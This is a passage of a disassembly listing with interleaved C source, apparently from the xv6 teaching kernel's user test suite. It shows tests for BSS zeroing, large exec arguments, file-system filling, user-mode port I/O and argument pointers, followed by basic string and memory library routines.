3249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
if(uninit[i] != '\0'){
3250: 80 b8 40 5f 00 00 00 cmpb $0x0,0x5f40(%eax)
3257: 75 22 jne 327b <bsstest+0x5b>
for(i = 0; i < sizeof(uninit); i++){
3259: 83 c0 01 add $0x1,%eax
325c: 3d 10 27 00 00 cmp $0x2710,%eax
3261: 75 ed jne 3250 <bsstest+0x30>
printf(stdout, "bss test ok\n");
3263: 83 ec 08 sub $0x8,%esp
3266: 68 d9 4c 00 00 push $0x4cd9
326b: ff 35 70 5e 00 00 pushl 0x5e70
3271: e8 fa 07 00 00 call 3a70 <printf>
}
3276: 83 c4 10 add $0x10,%esp
3279: c9 leave
327a: c3 ret
printf(stdout, "bss test failed\n");
327b: 83 ec 08 sub $0x8,%esp
327e: 68 c8 4c 00 00 push $0x4cc8
3283: ff 35 70 5e 00 00 pushl 0x5e70
3289: e8 e2 07 00 00 call 3a70 <printf>
exit();
328e: e8 2e 06 00 00 call 38c1 <exit>
3293: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
3299: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000032a0 <bigargtest>:
{
32a0: 55 push %ebp
32a1: 89 e5 mov %esp,%ebp
32a3: 83 ec 14 sub $0x14,%esp
unlink("bigarg-ok");
32a6: 68 e6 4c 00 00 push $0x4ce6
32ab: e8 61 06 00 00 call 3911 <unlink>
pid = fork();
32b0: e8 04 06 00 00 call 38b9 <fork>
if(pid == 0){
32b5: 83 c4 10 add $0x10,%esp
32b8: 85 c0 test %eax,%eax
32ba: 74 44 je 3300 <bigargtest+0x60>
} else if(pid < 0){
32bc: 0f 88 c5 00 00 00 js 3387 <bigargtest+0xe7>
wait();
32c2: e8 02 06 00 00 call 38c9 <wait>
fd = open("bigarg-ok", 0);
32c7: 83 ec 08 sub $0x8,%esp
32ca: 6a 00 push $0x0
32cc: 68 e6 4c 00 00 push $0x4ce6
32d1: e8 2b 06 00 00 call 3901 <open>
if(fd < 0){
32d6: 83 c4 10 add $0x10,%esp
32d9: 85 c0 test %eax,%eax
32db: 0f 88 8f 00 00 00 js 3370 <bigargtest+0xd0>
close(fd);
32e1: 83 ec 0c sub $0xc,%esp
32e4: 50 push %eax
32e5: e8 ff 05 00 00 call 38e9 <close>
unlink("bigarg-ok");
32ea: c7 04 24 e6 4c 00 00 movl $0x4ce6,(%esp)
32f1: e8 1b 06 00 00 call 3911 <unlink>
}
32f6: 83 c4 10 add $0x10,%esp
32f9: c9 leave
32fa: c3 ret
32fb: 90 nop
32fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
args[i] = "bigargs test: failed\n ";
3300: c7 04 85 a0 5e 00 00 movl $0x5440,0x5ea0(,%eax,4)
3307: 40 54 00 00
for(i = 0; i < MAXARG-1; i++)
330b: 83 c0 01 add $0x1,%eax
330e: 83 f8 1f cmp $0x1f,%eax
3311: 75 ed jne 3300 <bigargtest+0x60>
printf(stdout, "bigarg test\n");
3313: 51 push %ecx
3314: 51 push %ecx
3315: 68 f0 4c 00 00 push $0x4cf0
331a: ff 35 70 5e 00 00 pushl 0x5e70
args[MAXARG-1] = 0;
3320: c7 05 1c 5f 00 00 00 movl $0x0,0x5f1c
3327: 00 00 00
printf(stdout, "bigarg test\n");
332a: e8 41 07 00 00 call 3a70 <printf>
exec("echo", args);
332f: 58 pop %eax
3330: 5a pop %edx
3331: 68 a0 5e 00 00 push $0x5ea0
3336: 68 bd 3e 00 00 push $0x3ebd
333b: e8 b9 05 00 00 call 38f9 <exec>
printf(stdout, "bigarg test ok\n");
3340: 59 pop %ecx
3341: 58 pop %eax
3342: 68 fd 4c 00 00 push $0x4cfd
3347: ff 35 70 5e 00 00 pushl 0x5e70
334d: e8 1e 07 00 00 call 3a70 <printf>
fd = open("bigarg-ok", O_CREATE);
3352: 58 pop %eax
3353: 5a pop %edx
3354: 68 00 02 00 00 push $0x200
3359: 68 e6 4c 00 00 push $0x4ce6
335e: e8 9e 05 00 00 call 3901 <open>
close(fd);
3363: 89 04 24 mov %eax,(%esp)
3366: e8 7e 05 00 00 call 38e9 <close>
exit();
336b: e8 51 05 00 00 call 38c1 <exit>
printf(stdout, "bigarg test failed!\n");
3370: 50 push %eax
3371: 50 push %eax
3372: 68 26 4d 00 00 push $0x4d26
3377: ff 35 70 5e 00 00 pushl 0x5e70
337d: e8 ee 06 00 00 call 3a70 <printf>
exit();
3382: e8 3a 05 00 00 call 38c1 <exit>
printf(stdout, "bigargtest: fork failed\n");
3387: 52 push %edx
3388: 52 push %edx
3389: 68 0d 4d 00 00 push $0x4d0d
338e: ff 35 70 5e 00 00 pushl 0x5e70
3394: e8 d7 06 00 00 call 3a70 <printf>
exit();
3399: e8 23 05 00 00 call 38c1 <exit>
339e: 66 90 xchg %ax,%ax
000033a0 <fsfull>:
{
33a0: 55 push %ebp
33a1: 89 e5 mov %esp,%ebp
33a3: 57 push %edi
33a4: 56 push %esi
for(nfiles = 0; ; nfiles++){
33a5: 31 f6 xor %esi,%esi
{
33a7: 53 push %ebx
33a8: 83 ec 54 sub $0x54,%esp
printf(1, "fsfull test\n");
33ab: 68 3b 4d 00 00 push $0x4d3b
33b0: 6a 01 push $0x1
33b2: e8 b9 06 00 00 call 3a70 <printf>
33b7: 83 c4 10 add $0x10,%esp
33ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
name[1] = '0' + nfiles / 1000;
33c0: b8 d3 4d 62 10 mov $0x10624dd3,%eax
name[3] = '0' + (nfiles % 100) / 10;
33c5: b9 cd cc cc cc mov $0xcccccccd,%ecx
printf(1, "writing %s\n", name);
33ca: 83 ec 04 sub $0x4,%esp
name[0] = 'f';
33cd: c6 45 a8 66 movb $0x66,-0x58(%ebp)
name[1] = '0' + nfiles / 1000;
33d1: f7 e6 mul %esi
name[5] = '\0';
33d3: c6 45 ad 00 movb $0x0,-0x53(%ebp)
name[1] = '0' + nfiles / 1000;
33d7: c1 ea 06 shr $0x6,%edx
33da: 8d 42 30 lea 0x30(%edx),%eax
name[2] = '0' + (nfiles % 1000) / 100;
33dd: 69 d2 e8 03 00 00 imul $0x3e8,%edx,%edx
name[1] = '0' + nfiles / 1000;
33e3: 88 45 a9 mov %al,-0x57(%ebp)
name[2] = '0' + (nfiles % 1000) / 100;
33e6: 89 f0 mov %esi,%eax
33e8: 29 d0 sub %edx,%eax
33ea: 89 c2 mov %eax,%edx
33ec: b8 1f 85 eb 51 mov $0x51eb851f,%eax
33f1: f7 e2 mul %edx
name[3] = '0' + (nfiles % 100) / 10;
33f3: b8 1f 85 eb 51 mov $0x51eb851f,%eax
name[2] = '0' + (nfiles % 1000) / 100;
33f8: c1 ea 05 shr $0x5,%edx
33fb: 83 c2 30 add $0x30,%edx
33fe: 88 55 aa mov %dl,-0x56(%ebp)
name[3] = '0' + (nfiles % 100) / 10;
3401: f7 e6 mul %esi
3403: 89 f0 mov %esi,%eax
3405: c1 ea 05 shr $0x5,%edx
3408: 6b d2 64 imul $0x64,%edx,%edx
340b: 29 d0 sub %edx,%eax
340d: f7 e1 mul %ecx
name[4] = '0' + (nfiles % 10);
340f: 89 f0 mov %esi,%eax
name[3] = '0' + (nfiles % 100) / 10;
3411: c1 ea 03 shr $0x3,%edx
3414: 83 c2 30 add $0x30,%edx
3417: 88 55 ab mov %dl,-0x55(%ebp)
name[4] = '0' + (nfiles % 10);
341a: f7 e1 mul %ecx
341c: 89 f1 mov %esi,%ecx
341e: c1 ea 03 shr $0x3,%edx
3421: 8d 04 92 lea (%edx,%edx,4),%eax
3424: 01 c0 add %eax,%eax
3426: 29 c1 sub %eax,%ecx
3428: 89 c8 mov %ecx,%eax
342a: 83 c0 30 add $0x30,%eax
342d: 88 45 ac mov %al,-0x54(%ebp)
printf(1, "writing %s\n", name);
3430: 8d 45 a8 lea -0x58(%ebp),%eax
3433: 50 push %eax
3434: 68 48 4d 00 00 push $0x4d48
3439: 6a 01 push $0x1
343b: e8 30 06 00 00 call 3a70 <printf>
int fd = open(name, O_CREATE|O_RDWR);
3440: 58 pop %eax
3441: 8d 45 a8 lea -0x58(%ebp),%eax
3444: 5a pop %edx
3445: 68 02 02 00 00 push $0x202
344a: 50 push %eax
344b: e8 b1 04 00 00 call 3901 <open>
if(fd < 0){
3450: 83 c4 10 add $0x10,%esp
int fd = open(name, O_CREATE|O_RDWR);
3453: 89 c7 mov %eax,%edi
if(fd < 0){
3455: 85 c0 test %eax,%eax
3457: 78 4d js 34a6 <fsfull+0x106>
int total = 0;
3459: 31 db xor %ebx,%ebx
345b: eb 05 jmp 3462 <fsfull+0xc2>
345d: 8d 76 00 lea 0x0(%esi),%esi
total += cc;
3460: 01 c3 add %eax,%ebx
int cc = write(fd, buf, 512);
3462: 83 ec 04 sub $0x4,%esp
3465: 68 00 02 00 00 push $0x200
346a: 68 60 86 00 00 push $0x8660
346f: 57 push %edi
3470: e8 6c 04 00 00 call 38e1 <write>
if(cc < 512)
3475: 83 c4 10 add $0x10,%esp
3478: 3d ff 01 00 00 cmp $0x1ff,%eax
347d: 7f e1 jg 3460 <fsfull+0xc0>
printf(1, "wrote %d bytes\n", total);
347f: 83 ec 04 sub $0x4,%esp
3482: 53 push %ebx
3483: 68 64 4d 00 00 push $0x4d64
3488: 6a 01 push $0x1
348a: e8 e1 05 00 00 call 3a70 <printf>
close(fd);
348f: 89 3c 24 mov %edi,(%esp)
3492: e8 52 04 00 00 call 38e9 <close>
if(total == 0)
3497: 83 c4 10 add $0x10,%esp
349a: 85 db test %ebx,%ebx
349c: 74 1e je 34bc <fsfull+0x11c>
for(nfiles = 0; ; nfiles++){
349e: 83 c6 01 add $0x1,%esi
34a1: e9 1a ff ff ff jmp 33c0 <fsfull+0x20>
printf(1, "open %s failed\n", name);
34a6: 83 ec 04 sub $0x4,%esp
34a9: 8d 45 a8 lea -0x58(%ebp),%eax
34ac: 50 push %eax
34ad: 68 54 4d 00 00 push $0x4d54
34b2: 6a 01 push $0x1
34b4: e8 b7 05 00 00 call 3a70 <printf>
break;
34b9: 83 c4 10 add $0x10,%esp
name[1] = '0' + nfiles / 1000;
34bc: bf d3 4d 62 10 mov $0x10624dd3,%edi
name[2] = '0' + (nfiles % 1000) / 100;
34c1: bb 1f 85 eb 51 mov $0x51eb851f,%ebx
34c6: 8d 76 00 lea 0x0(%esi),%esi
34c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
name[1] = '0' + nfiles / 1000;
34d0: 89 f0 mov %esi,%eax
name[3] = '0' + (nfiles % 100) / 10;
34d2: b9 cd cc cc cc mov $0xcccccccd,%ecx
unlink(name);
34d7: 83 ec 0c sub $0xc,%esp
name[0] = 'f';
34da: c6 45 a8 66 movb $0x66,-0x58(%ebp)
name[1] = '0' + nfiles / 1000;
34de: f7 e7 mul %edi
name[5] = '\0';
34e0: c6 45 ad 00 movb $0x0,-0x53(%ebp)
name[1] = '0' + nfiles / 1000;
34e4: c1 ea 06 shr $0x6,%edx
34e7: 8d 42 30 lea 0x30(%edx),%eax
name[2] = '0' + (nfiles % 1000) / 100;
34ea: 69 d2 e8 03 00 00 imul $0x3e8,%edx,%edx
name[1] = '0' + nfiles / 1000;
34f0: 88 45 a9 mov %al,-0x57(%ebp)
name[2] = '0' + (nfiles % 1000) / 100;
34f3: 89 f0 mov %esi,%eax
34f5: 29 d0 sub %edx,%eax
34f7: f7 e3 mul %ebx
name[3] = '0' + (nfiles % 100) / 10;
34f9: 89 f0 mov %esi,%eax
name[2] = '0' + (nfiles % 1000) / 100;
34fb: c1 ea 05 shr $0x5,%edx
34fe: 83 c2 30 add $0x30,%edx
3501: 88 55 aa mov %dl,-0x56(%ebp)
name[3] = '0' + (nfiles % 100) / 10;
3504: f7 e3 mul %ebx
3506: 89 f0 mov %esi,%eax
3508: c1 ea 05 shr $0x5,%edx
350b: 6b d2 64 imul $0x64,%edx,%edx
350e: 29 d0 sub %edx,%eax
3510: f7 e1 mul %ecx
name[4] = '0' + (nfiles % 10);
3512: 89 f0 mov %esi,%eax
name[3] = '0' + (nfiles % 100) / 10;
3514: c1 ea 03 shr $0x3,%edx
3517: 83 c2 30 add $0x30,%edx
351a: 88 55 ab mov %dl,-0x55(%ebp)
name[4] = '0' + (nfiles % 10);
351d: f7 e1 mul %ecx
351f: 89 f1 mov %esi,%ecx
nfiles--;
3521: 83 ee 01 sub $0x1,%esi
name[4] = '0' + (nfiles % 10);
3524: c1 ea 03 shr $0x3,%edx
3527: 8d 04 92 lea (%edx,%edx,4),%eax
352a: 01 c0 add %eax,%eax
352c: 29 c1 sub %eax,%ecx
352e: 89 c8 mov %ecx,%eax
3530: 83 c0 30 add $0x30,%eax
3533: 88 45 ac mov %al,-0x54(%ebp)
unlink(name);
3536: 8d 45 a8 lea -0x58(%ebp),%eax
3539: 50 push %eax
353a: e8 d2 03 00 00 call 3911 <unlink>
while(nfiles >= 0){
353f: 83 c4 10 add $0x10,%esp
3542: 83 fe ff cmp $0xffffffff,%esi
3545: 75 89 jne 34d0 <fsfull+0x130>
printf(1, "fsfull test finished\n");
3547: 83 ec 08 sub $0x8,%esp
354a: 68 74 4d 00 00 push $0x4d74
354f: 6a 01 push $0x1
3551: e8 1a 05 00 00 call 3a70 <printf>
}
3556: 83 c4 10 add $0x10,%esp
3559: 8d 65 f4 lea -0xc(%ebp),%esp
355c: 5b pop %ebx
355d: 5e pop %esi
355e: 5f pop %edi
355f: 5d pop %ebp
3560: c3 ret
3561: eb 0d jmp 3570 <uio>
3563: 90 nop
3564: 90 nop
3565: 90 nop
3566: 90 nop
3567: 90 nop
3568: 90 nop
3569: 90 nop
356a: 90 nop
356b: 90 nop
356c: 90 nop
356d: 90 nop
356e: 90 nop
356f: 90 nop
00003570 <uio>:
{
3570: 55 push %ebp
3571: 89 e5 mov %esp,%ebp
3573: 83 ec 10 sub $0x10,%esp
printf(1, "uio test\n");
3576: 68 8a 4d 00 00 push $0x4d8a
357b: 6a 01 push $0x1
357d: e8 ee 04 00 00 call 3a70 <printf>
pid = fork();
3582: e8 32 03 00 00 call 38b9 <fork>
if(pid == 0){
3587: 83 c4 10 add $0x10,%esp
358a: 85 c0 test %eax,%eax
358c: 74 1b je 35a9 <uio+0x39>
} else if(pid < 0){
358e: 78 3d js 35cd <uio+0x5d>
wait();
3590: e8 34 03 00 00 call 38c9 <wait>
printf(1, "uio test done\n");
3595: 83 ec 08 sub $0x8,%esp
3598: 68 94 4d 00 00 push $0x4d94
359d: 6a 01 push $0x1
359f: e8 cc 04 00 00 call 3a70 <printf>
}
35a4: 83 c4 10 add $0x10,%esp
35a7: c9 leave
35a8: c3 ret
asm volatile("outb %0,%1"::"a"(val), "d" (port));
35a9: b8 09 00 00 00 mov $0x9,%eax
35ae: ba 70 00 00 00 mov $0x70,%edx
35b3: ee out %al,(%dx)
asm volatile("inb %1,%0" : "=a" (val) : "d" (port));
35b4: ba 71 00 00 00 mov $0x71,%edx
35b9: ec in (%dx),%al
printf(1, "uio: uio succeeded; test FAILED\n");
35ba: 52 push %edx
35bb: 52 push %edx
35bc: 68 20 55 00 00 push $0x5520
35c1: 6a 01 push $0x1
35c3: e8 a8 04 00 00 call 3a70 <printf>
exit();
35c8: e8 f4 02 00 00 call 38c1 <exit>
printf (1, "fork failed\n");
35cd: 50 push %eax
35ce: 50 push %eax
35cf: 68 19 4d 00 00 push $0x4d19
35d4: 6a 01 push $0x1
35d6: e8 95 04 00 00 call 3a70 <printf>
exit();
35db: e8 e1 02 00 00 call 38c1 <exit>
000035e0 <argptest>:
{
35e0: 55 push %ebp
35e1: 89 e5 mov %esp,%ebp
35e3: 53 push %ebx
35e4: 83 ec 0c sub $0xc,%esp
fd = open("init", O_RDONLY);
35e7: 6a 00 push $0x0
35e9: 68 a3 4d 00 00 push $0x4da3
35ee: e8 0e 03 00 00 call 3901 <open>
if (fd < 0) {
35f3: 83 c4 10 add $0x10,%esp
35f6: 85 c0 test %eax,%eax
35f8: 78 39 js 3633 <argptest+0x53>
read(fd, sbrk(0) - 1, -1);
35fa: 83 ec 0c sub $0xc,%esp
35fd: 89 c3 mov %eax,%ebx
35ff: 6a 00 push $0x0
3601: e8 43 03 00 00 call 3949 <sbrk>
3606: 83 c4 0c add $0xc,%esp
3609: 83 e8 01 sub $0x1,%eax
360c: 6a ff push $0xffffffff
360e: 50 push %eax
360f: 53 push %ebx
3610: e8 c4 02 00 00 call 38d9 <read>
close(fd);
3615: 89 1c 24 mov %ebx,(%esp)
3618: e8 cc 02 00 00 call 38e9 <close>
printf(1, "arg test passed\n");
361d: 58 pop %eax
361e: 5a pop %edx
361f: 68 b5 4d 00 00 push $0x4db5
3624: 6a 01 push $0x1
3626: e8 45 04 00 00 call 3a70 <printf>
}
362b: 83 c4 10 add $0x10,%esp
362e: 8b 5d fc mov -0x4(%ebp),%ebx
3631: c9 leave
3632: c3 ret
printf(2, "open failed\n");
3633: 51 push %ecx
3634: 51 push %ecx
3635: 68 a8 4d 00 00 push $0x4da8
363a: 6a 02 push $0x2
363c: e8 2f 04 00 00 call 3a70 <printf>
exit();
3641: e8 7b 02 00 00 call 38c1 <exit>
3646: 8d 76 00 lea 0x0(%esi),%esi
3649: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00003650 <rand>:
randstate = randstate * 1664525 + 1013904223;
3650: 69 05 6c 5e 00 00 0d imul $0x19660d,0x5e6c,%eax
3657: 66 19 00
365a: 05 5f f3 6e 3c add $0x3c6ef35f,%eax
365f: a3 6c 5e 00 00 mov %eax,0x5e6c
}
3664: c3 ret
3665: 66 90 xchg %ax,%ax
3667: 66 90 xchg %ax,%ax
3669: 66 90 xchg %ax,%ax
366b: 66 90 xchg %ax,%ax
366d: 66 90 xchg %ax,%ax
366f: 90 nop
00003670 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
3670: 55 push %ebp
char *os;
os = s;
while((*s++ = *t++) != 0)
3671: 31 d2 xor %edx,%edx
{
3673: 89 e5 mov %esp,%ebp
3675: 53 push %ebx
3676: 8b 45 08 mov 0x8(%ebp),%eax
3679: 8b 5d 0c mov 0xc(%ebp),%ebx
367c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while((*s++ = *t++) != 0)
3680: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx
3684: 88 0c 10 mov %cl,(%eax,%edx,1)
3687: 83 c2 01 add $0x1,%edx
368a: 84 c9 test %cl,%cl
368c: 75 f2 jne 3680 <strcpy+0x10>
;
return os;
}
368e: 5b pop %ebx
368f: 5d pop %ebp
3690: c3 ret
3691: eb 0d jmp 36a0 <strcmp>
3693: 90 nop
3694: 90 nop
3695: 90 nop
3696: 90 nop
3697: 90 nop
3698: 90 nop
3699: 90 nop
369a: 90 nop
369b: 90 nop
369c: 90 nop
369d: 90 nop
369e: 90 nop
369f: 90 nop
000036a0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
36a0: 55 push %ebp
36a1: 89 e5 mov %esp,%ebp
36a3: 56 push %esi
36a4: 53 push %ebx
36a5: 8b 5d 08 mov 0x8(%ebp),%ebx
36a8: 8b 75 0c mov 0xc(%ebp),%esi
while(*p && *p == *q)
36ab: 0f b6 13 movzbl (%ebx),%edx
36ae: 0f b6 0e movzbl (%esi),%ecx
36b1: 84 d2 test %dl,%dl
36b3: 74 1e je 36d3 <strcmp+0x33>
36b5: b8 01 00 00 00 mov $0x1,%eax
36ba: 38 ca cmp %cl,%dl
36bc: 74 09 je 36c7 <strcmp+0x27>
36be: eb 20 jmp 36e0 <strcmp+0x40>
36c0: 83 c0 01 add $0x1,%eax
36c3: 38 ca cmp %cl,%dl
36c5: 75 19 jne 36e0 <strcmp+0x40>
36c7: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx
36cb: 0f b6 0c 06 movzbl (%esi,%eax,1),%ecx
36cf: 84 d2 test %dl,%dl
36d1: 75 ed jne 36c0 <strcmp+0x20>
36d3: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
}
36d5: 5b pop %ebx
36d6: 5e pop %esi
return (uchar)*p - (uchar)*q;
36d7: 29 c8 sub %ecx,%eax
}
36d9: 5d pop %ebp
36da: c3 ret
36db: 90 nop
36dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
36e0: 0f b6 c2 movzbl %dl,%eax
36e3: 5b pop %ebx
36e4: 5e pop %esi
return (uchar)*p - (uchar)*q;
36e5: 29 c8 sub %ecx,%eax
}
36e7: 5d pop %ebp
36e8: c3 ret
36e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000036f0 <strlen>:
uint
strlen(char *s)
{
36f0: 55 push %ebp
36f1: 89 e5 mov %esp,%ebp
36f3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
36f6: 80 39 00 cmpb $0x0,(%ecx)
36f9: 74 15 je 3710 <strlen+0x20>
36fb: 31 d2 xor %edx,%edx
36fd: 8d 76 00 lea 0x0(%esi),%esi
3700: 83 c2 01 add $0x1,%edx
3703: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
3707: 89 d0 mov %edx,%eax
3709: 75 f5 jne 3700 <strlen+0x10>
;
return n;
}
370b: 5d pop %ebp
370c: c3 ret
370d: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
3710: 31 c0 xor %eax,%eax
}
3712: 5d pop %ebp
3713: c3 ret
3714: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
371a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00003720 <memset>:
void*
memset(void *dst, int c, uint n)
{
3720: 55 push %ebp
3721: 89 e5 mov %esp,%ebp
3723: 57 push %edi
3724: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
3727: 8b 4d 10 mov 0x10(%ebp),%ecx
372a: 8b 45 0c mov 0xc(%ebp),%eax
372d: 89 d7 mov %edx,%edi
372f: fc cld
3730: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
3732: 89 d0 mov %edx,%eax
3734: 5f pop %edi
3735: 5d pop %ebp
3736: c3 ret
3737: 89 f6 mov %esi,%esi
3739: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00003740 <strchr>:
char*
strchr(const char *s, char c)
{
3740: 55 push %ebp
3741: 89 e5 mov %esp,%ebp
3743: 53 push %ebx
3744: 8b 45 08 mov 0x8(%ebp),%eax
3747: 8b 55 0c mov 0xc(%ebp),%edx
for(; *s; s++)
374a: 0f b6 18 movzbl (%eax),%ebx
374d: 84 db test %bl,%bl
374f: 74 1d je 376e <strchr+0x2e>
3751: 89 d1 mov %edx,%ecx
if(*s == c)
3753: 38 d3 cmp %dl,%bl
3755: 75 0d jne 3764 <strchr+0x24>
3757: eb 17 jmp 3770 <strchr+0x30>
3759: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
3760: 38 ca cmp %cl,%dl
3762: 74 0c je 3770 <strchr+0x30>
for(; *s; s++)
3764: 83 c0 01 add $0x1,%eax
3767: 0f b6 10 movzbl (%eax),%edx
376a: 84 d2 test %dl,%dl
376c: 75 f2 jne 3760 <strchr+0x20>
return (char*)s;
return 0;
376e: 31 c0 xor %eax,%eax
}
3770: 5b pop %ebx
3771: 5d pop %ebp
3772: c3 ret
3773: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
3779: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00003780 <gets>:
char*
gets(char *buf, int max)
{
3780: 55 push %ebp
3781: 89 e5 mov %esp,%ebp
3783: 57 push %edi
3784: 56 push %esi
int i, cc;
char c;
for(i=0; i+1 < max; ){
3785: 31 f6 xor %esi,%esi
{
3787: 53 push %ebx
3788: 89 f3 mov %esi,%ebx
378a: 83 ec 1c sub $0x1c,%esp
378d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
3790: eb 2f jmp 37c1 <gets+0x41>
3792: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
3798: 83 ec 04 sub $0x4,%esp
379b: 8d 45 e7 lea -0x19(%ebp),%eax
379e: 6a 01 push $0x1
37a0: 50 push %eax
37a1: 6a 00 push $0x0
37a3: e8 31 01 00 00 call 38d9 <read>
if(cc < 1)
37a8: 83 c4 10 add $0x10,%esp
37ab: 85 c0 test %eax,%eax
37ad: 7e 1c jle 37cb <gets+0x4b>
break;
buf[i++] = c;
37af: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
37b3: 83 c7 01 add $0x1,%edi
37b6: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
37b9: 3c 0a cmp $0xa,%al
37bb: 74 23 je 37e0 <gets+0x60>
37bd: 3c 0d cmp $0xd,%al
37bf: 74 1f je 37e0 <gets+0x60>
for(i=0; i+1 < max; ){
37c1: 83 c3 01 add $0x1,%ebx
37c4: 89 fe mov %edi,%esi
37c6: 3b 5d 0c cmp 0xc(%ebp),%ebx
37c9: 7c cd jl 3798 <gets+0x18>
37cb: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
37cd: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
37d0: c6 03 00 movb $0x0,(%ebx)
}
37d3: 8d 65 f4 lea -0xc(%ebp),%esp
37d6: 5b pop %ebx
37d7: 5e pop %esi
37d8: 5f pop %edi
37d9: 5d pop %ebp
37da: c3 ret
37db: 90 nop
37dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
37e0: 8b 75 08 mov 0x8(%ebp),%esi
37e3: 8b 45 08 mov 0x8(%ebp),%eax
37e6: 01 de add %ebx,%esi
37e8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
37ea: c6 03 00 movb $0x0,(%ebx)
}
37ed: 8d 65 f4 lea -0xc(%ebp),%esp
37f0: 5b pop %ebx
37f1: 5e pop %esi
37f2: 5f pop %edi
37f3: 5d pop %ebp
37f4: c3 ret
37f5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
37f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00003800 <stat>:
int
stat(char *n, struct stat *st)
{
3800: 55 push %ebp
3801: 89 e5 mov %esp,%ebp
3803: 56 push %esi
3804: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
3805: 83 ec 08 sub $0x8,%esp
3808: 6a 00 push $0x0
380a: ff 75 08 pushl 0x8(%ebp)
380d: e8 ef 00 00 00 call 3901 <open>
if(fd < 0)
3812: 83 c4 10 add $0x10,%esp
3815: 85 c0 test %eax,%eax
3817: 78 27 js 3840 <stat+0x40>
return -1;
r = fstat(fd, st);
3819: 83 ec 08 sub $0x8,%esp
381c: ff 75 0c pushl 0xc(%ebp)
381f: 89 c3 mov %eax,%ebx
3821: 50 push %eax
3822: e8 f2 00 00 00 call 3919 <fstat>
close(fd);
3827: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
382a: 89 c6 mov %eax,%esi
close(fd);
382c: e8 b8 00 00 00 call 38e9 <close>
return r;
3831: 83 c4 10 add $0x10,%esp
}
3834: 8d 65 f8 lea -0x8(%ebp),%esp
3837: 89 f0 mov %esi,%eax
3839: 5b pop %ebx
383a: 5e pop %esi
383b: 5d pop %ebp
383c: c3 ret
383d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
3840: be ff ff ff ff mov $0xffffffff,%esi
3845: eb ed jmp 3834 <stat+0x34>
3847: 89 f6 mov %esi,%esi
3849: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00003850 <atoi>:
int
atoi(const char *s)
{
3850: 55 push %ebp
3851: 89 e5 mov %esp,%ebp
3853: 53 push %ebx
3854: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
3857: 0f be 11 movsbl (%ecx),%edx
385a: 8d 42 d0 lea -0x30(%edx),%eax
385d: 3c 09 cmp $0x9,%al
n = 0;
385f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
3864: 77 1f ja 3885 <atoi+0x35>
3866: 8d 76 00 lea 0x0(%esi),%esi
3869: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
3870: 83 c1 01 add $0x1,%ecx
3873: 8d 04 80 lea (%eax,%eax,4),%eax
3876: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
387a: 0f be 11 movsbl (%ecx),%edx
387d: 8d 5a d0 lea -0x30(%edx),%ebx
3880: 80 fb 09 cmp $0x9,%bl
3883: 76 eb jbe 3870 <atoi+0x20>
return n;
}
3885: 5b pop %ebx
3886: 5d pop %ebp
3887: c3 ret
3888: 90 nop
3889: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00003890 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
3890: 55 push %ebp
3891: 89 e5 mov %esp,%ebp
3893: 57 push %edi
3894: 8b 55 10 mov 0x10(%ebp),%edx
3897: 8b 45 08 mov 0x8(%ebp),%eax
389a: 56 push %esi
389b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
389e: 85 d2 test %edx,%edx
38a0: 7e 13 jle 38b5 <memmove+0x25>
38a2: 01 c2 add %eax,%edx
dst = vdst;
38a4: 89 c7 mov %eax,%edi
38a6: 8d 76 00 lea 0x0(%esi),%esi
